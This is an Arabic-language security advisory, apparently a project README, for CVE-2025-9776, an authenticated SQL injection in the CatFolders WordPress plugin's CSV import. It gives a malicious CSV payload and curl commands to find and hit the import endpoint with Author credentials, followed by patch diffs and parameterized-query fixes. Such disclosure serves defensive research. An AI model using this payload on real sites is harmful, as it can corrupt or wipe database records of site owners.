
CVE-2025-9776 — إضافة ووردبريس CatFolders: حقن SQL بعد المصادقة عبر استيراد CSV | POC + شرح خطوة بخطوة
الكلمات المفتاحية: CVE-2025-9776, ثغرة CatFolders في WordPress, حقن SQL في WordPress, حقن SQL بعد المصادقة, أمان WordPress, ثغرة استيراد CSV, استغلال إضافات WordPress, CWE-89, هجوم قاعدة بيانات WordPress, ثغرة مكتبة الوسائط, WordPress CVE 2025
تم اكتشاف ثغرة حقن SQL بعد المصادقة في إضافة CatFolders لـ WordPress تسمح للمستخدمين بمستوى مؤلف (Author) بالتلاعب باستعلامات قاعدة البيانات عبر عمليات استيراد CSV خبيثة.
اكتشفها: Kai Aizen (SnailSploit)
تاريخ النشر: 2025
درجة CVSS: 6.5 (متوسطة)
CWE: CWE-89 - حقن SQL
تحتوي إضافة CatFolders – Tame Your WordPress Media Library by Category على ثغرة حقن SQL بعد المصادقة في وظيفة استيراد CSV. يتم تقسيم عمود attachments من ملف CSV يوفره المستخدم إلى قائمة وتمريره مباشرة إلى FolderModel::set_attachments() التي تقوم بتسلسل هذه القيم في جمل SQL خام IN (...) دون تعقيم مناسب أو استخدام معاملات (parameterization).
تسمح هذه الثغرة للمهاجمين المُصادَق عليهم بصلاحيات مستوى مؤلف (Author) بـ:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
توجد الثغرة في سير عمل استيراد CSV:
الملف: includes/Rest/Controllers/ImportController.php
import_csv بتحليل ملف CSV المُرفع دون تعقيم لكل حقلrestore_folders():FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
الملف: includes/Models/FolderModel.php
set_attachments() استعلام SQL خام باستخدام تسلسل النصوص:'raw' => 'post_id IN (' . $attachmentIds . ')'
يمكن للمهاجم بصلاحيات مستوى مؤلف (قدرة upload_files) حقن SQL خبيث عبر نقطة نهاية استيراد CSV:
حمولة CSV الخبيثة:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
الاستعلام الضعيف الناتج:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
يؤدي هذا إلى الخروج من جملة IN(...) وتغيير دلالات الاستعلام، مما قد يؤثر على جميع الصفوف.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
النتيجة النموذجية: /catf/v1/import-csv
أنشئ ملفًا باسم catf_inject.csv:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Replace with discovered namespace
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
الاستجابة المتوقعة:
{ "success": true }
يقوم الخادم ببناء وتنفيذ:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
قد ينفذ هذا عمليات DELETE/INSERT أوسع نطاقًا مما هو مقصود، وغالبًا ما يمسح علاقات المجلد-المرفقات عبر قاعدة البيانات بأكملها.
شغّل محاكاة SQLite المستقلة لملاحظة الثغرة بأمان:
python3 poc/catfolders_sql_poc.py
يطبع هذا الاستعلام الضعيف ويوضح كيف يُرجع رمز خبيث جميع الصفوف، بينما ترفض النسخة المُعلَّمة (parameterized) ذلك بشكل صحيح.
إجراءات عاجلة مطلوبة:
خطوتان بسيطتان للتحصين:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
استبدل جميع عمليات تسلسل SQL الخام باستعلامات مُعلَّمة باستخدام $wpdb->prepare() في WordPress:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
بالإضافة إلى ذلك:
يتوفر تصحيح كامل في patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # This file
├── poc/
│ ├── catf_inject.csv # Malicious CSV payload
│ └── catfolders_sql_poc.py # Safe SQLite simulation
└── patch/
└── catfolders_fix.patch # Recommended fixes
الباحث: Kai Aizen (SnailSploit)
عملية الإفصاح: منسقة عبر برنامج Wordfence لمكافآت اكتشاف الثغرات
⚠️ إخلاء مسؤولية مهم
تم توفير إثبات المفهوم هذا حصريًا لأغراض البحث الدفاعي والتعليمي.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قوانين تشمل:
استخدم على مسؤوليتك الخاصة. لا يتحمل الباحثون وSnailSploit أي مسؤولية عن إساءة استخدام هذه المعلومات.
للاستفسارات أو معلومات إضافية حول هذه الثغرة:
ابقَ آمنًا وحافظ على تحديث تثبيتات WordPress لديك!
آخر تحديث: 13 أكتوبر 2025
يمكن العثور على الشرح الكامل لهذا المشروع والمنهجية والأبحاث ذات الصلة على:
https://snailsploit.com/security-research/cves/cve-2025-9776/
أنشأه Kai Aizen — باحث مستقل في الأمن الهجومي.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
نفس الهجوم. ركيزة مختلفة.
| المقياس | القيمة |
|---|
| ناقل الهجوم | شبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الصلاحيات المطلوبة | منخفضة (PR:L) - مؤلف+ |
| تفاعل المستخدم | لا شيء (UI:N) |
| النطاق | غير متغير (S:U) |
| السرية | لا شيء (C:N) |
| السلامة | منخفضة (I:L) |
| التوفر | منخفض (A:L) |